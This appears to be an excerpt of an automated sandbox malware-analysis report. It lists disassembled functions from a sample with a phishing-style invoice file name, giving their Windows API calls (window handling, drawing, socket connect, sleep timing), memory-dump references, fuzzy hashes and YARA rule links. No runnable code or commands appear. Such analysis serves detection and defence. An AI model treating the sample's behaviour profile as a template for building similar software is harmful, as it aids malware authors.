                                                                                            • API ID: ClientPaintRectRectangleScreenViewportWindow
                                                                                            • String ID:
                                                                                            • API String ID: 659298297-0
                                                                                            • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                            • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                                                                                            • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                            • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                                                                                            Function 00447870 Relevance: 7.6, APIs: 5, Instructions: 94windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCursorPos.USER32(?), ref: 004478A7
                                                                                            • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                                                                                            • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                                                                                            • GetCursorPos.USER32(?), ref: 00447935
                                                                                            • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CursorMenuPopupTrack$Proc
                                                                                            • String ID:
                                                                                            • API String ID: 1300944170-0
                                                                                            • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                            • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
                                                                                            • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                            • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                                                                                            Function 00448837 Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                            • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                            • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                            • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                            • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                              • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                              • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                              • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                              • Part of subcall function 004413F0: SendMessageW.USER32(01781BE0,000000F1,00000000,00000000), ref: 004414C6
                                                                                              • Part of subcall function 004413F0: SendMessageW.USER32(01781BE0,000000F1,00000001,00000000), ref: 004414F1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$EnableMessageSend$LongShow
                                                                                            • String ID:
                                                                                            • API String ID: 142311417-0
                                                                                            • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                            • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                                                                                            • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                            • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                                                                                            Function 00449549 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 0044955A
                                                                                              • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                            • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                                                                                            • _wcslen.LIBCMT ref: 004495C1
                                                                                            • _wcslen.LIBCMT ref: 004495CE
                                                                                            • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend_wcslen$_memset_wcspbrk
                                                                                            • String ID:
                                                                                            • API String ID: 1843234404-0
                                                                                            • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                            • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                                                                                            • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                            • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                                                                                            Function 00455014 Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                            • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                                                                                            • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                            • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
                                                                                            Function 00445719 Relevance: 7.6, APIs: 5, Instructions: 76windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • IsWindowVisible.USER32(?), ref: 00445721
                                                                                            • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                                                                                            • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                                                                                            • _wcslen.LIBCMT ref: 004457A3
                                                                                            • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                                                                            • String ID:
                                                                                            • API String ID: 3087257052-0
                                                                                            • Opcode ID: 07a683c3f77dae50ee773e7e3fa5154241049f7b31449e9a489b3be5124be6a3
                                                                                            • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                                                                                            • Opcode Fuzzy Hash: 07a683c3f77dae50ee773e7e3fa5154241049f7b31449e9a489b3be5124be6a3
                                                                                            • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                                                                                            Function 00459DCF Relevance: 7.6, APIs: 5, Instructions: 71COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • IsWindow.USER32(00000000), ref: 00459DEF
                                                                                            • GetForegroundWindow.USER32 ref: 00459E07
                                                                                            • GetDC.USER32(00000000), ref: 00459E44
                                                                                            • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$ForegroundPixelRelease
                                                                                            • String ID:
                                                                                            • API String ID: 4156661090-0
                                                                                            • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                            • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                                                                                            • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                            • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                                                                                            Function 00464950 Relevance: 7.6, APIs: 5, Instructions: 68networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                            • socket.WSOCK32(00000002,00000001,00000006), ref: 00464985
                                                                                            • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                                                                                            • connect.WSOCK32(00000000,00000000,00000010), ref: 004649CD
                                                                                            • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                                                                                            • closesocket.WSOCK32(00000000), ref: 00464A07
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                                                                            • String ID:
                                                                                            • API String ID: 245547762-0
                                                                                            • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                            • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                                                                                            • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                            • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                                                                                            Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DeleteObject.GDI32(00000000), ref: 00447151
                                                                                            • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                            • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                            • BeginPath.GDI32(?), ref: 004471B7
                                                                                            • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Object$Select$BeginCreateDeletePath
                                                                                            • String ID:
                                                                                            • API String ID: 2338827641-0
                                                                                            • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                            • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                                            • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                            • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                                            Function 0043770A Relevance: 7.6, APIs: 5, Instructions: 56sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                                            • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                                            • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CounterPerformanceQuerySleep
                                                                                            • String ID:
                                                                                            • API String ID: 2875609808-0
                                                                                            • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                            • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                                            • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                            • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                                            Function 0046FCC6 Relevance: 7.5, APIs: 5, Instructions: 49windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32 ref: 0046FD00
                                                                                            • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                                                                                            • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                                                                                            • DestroyIcon.USER32(?), ref: 0046FD58
                                                                                            • DestroyIcon.USER32(?), ref: 0046FD5F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$DestroyIcon
                                                                                            • String ID:
                                                                                            • API String ID: 3419509030-0
                                                                                            • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                            • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                                                                                            • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                            • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                                                                                            Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __getptd.LIBCMT ref: 004175AE
                                                                                              • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                              • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                            • __amsg_exit.LIBCMT ref: 004175CE
                                                                                            • __lock.LIBCMT ref: 004175DE
                                                                                            • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                                            • InterlockedIncrement.KERNEL32(01782D28), ref: 00417626
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                            • String ID:
                                                                                            • API String ID: 4271482742-0
                                                                                            • Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                            • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                                            • Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                            • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                                            Function 004555B8 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Destroy$DeleteObjectWindow$Icon
                                                                                            • String ID:
                                                                                            • API String ID: 4023252218-0
                                                                                            • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                            • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                                                                                            • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                            • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                                                                                            Function 0046032B Relevance: 7.5, APIs: 5, Instructions: 43windowtimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00460342
                                                                                            • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                                                                                            • MessageBeep.USER32(00000000), ref: 0046036D
                                                                                            • KillTimer.USER32(?,0000040A), ref: 00460392
                                                                                            • EndDialog.USER32(?,00000001), ref: 004603AB
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                            • String ID:
                                                                                            • API String ID: 3741023627-0
                                                                                            • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                            • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                                                                                            • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                            • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                                                                                            Function 00455505 Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: DeleteDestroyObject$IconMessageSendWindow
                                                                                            • String ID:
                                                                                            • API String ID: 1489400265-0
                                                                                            • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                            • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                                                                                            • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                            • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                                                                                            Function 0045551F Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
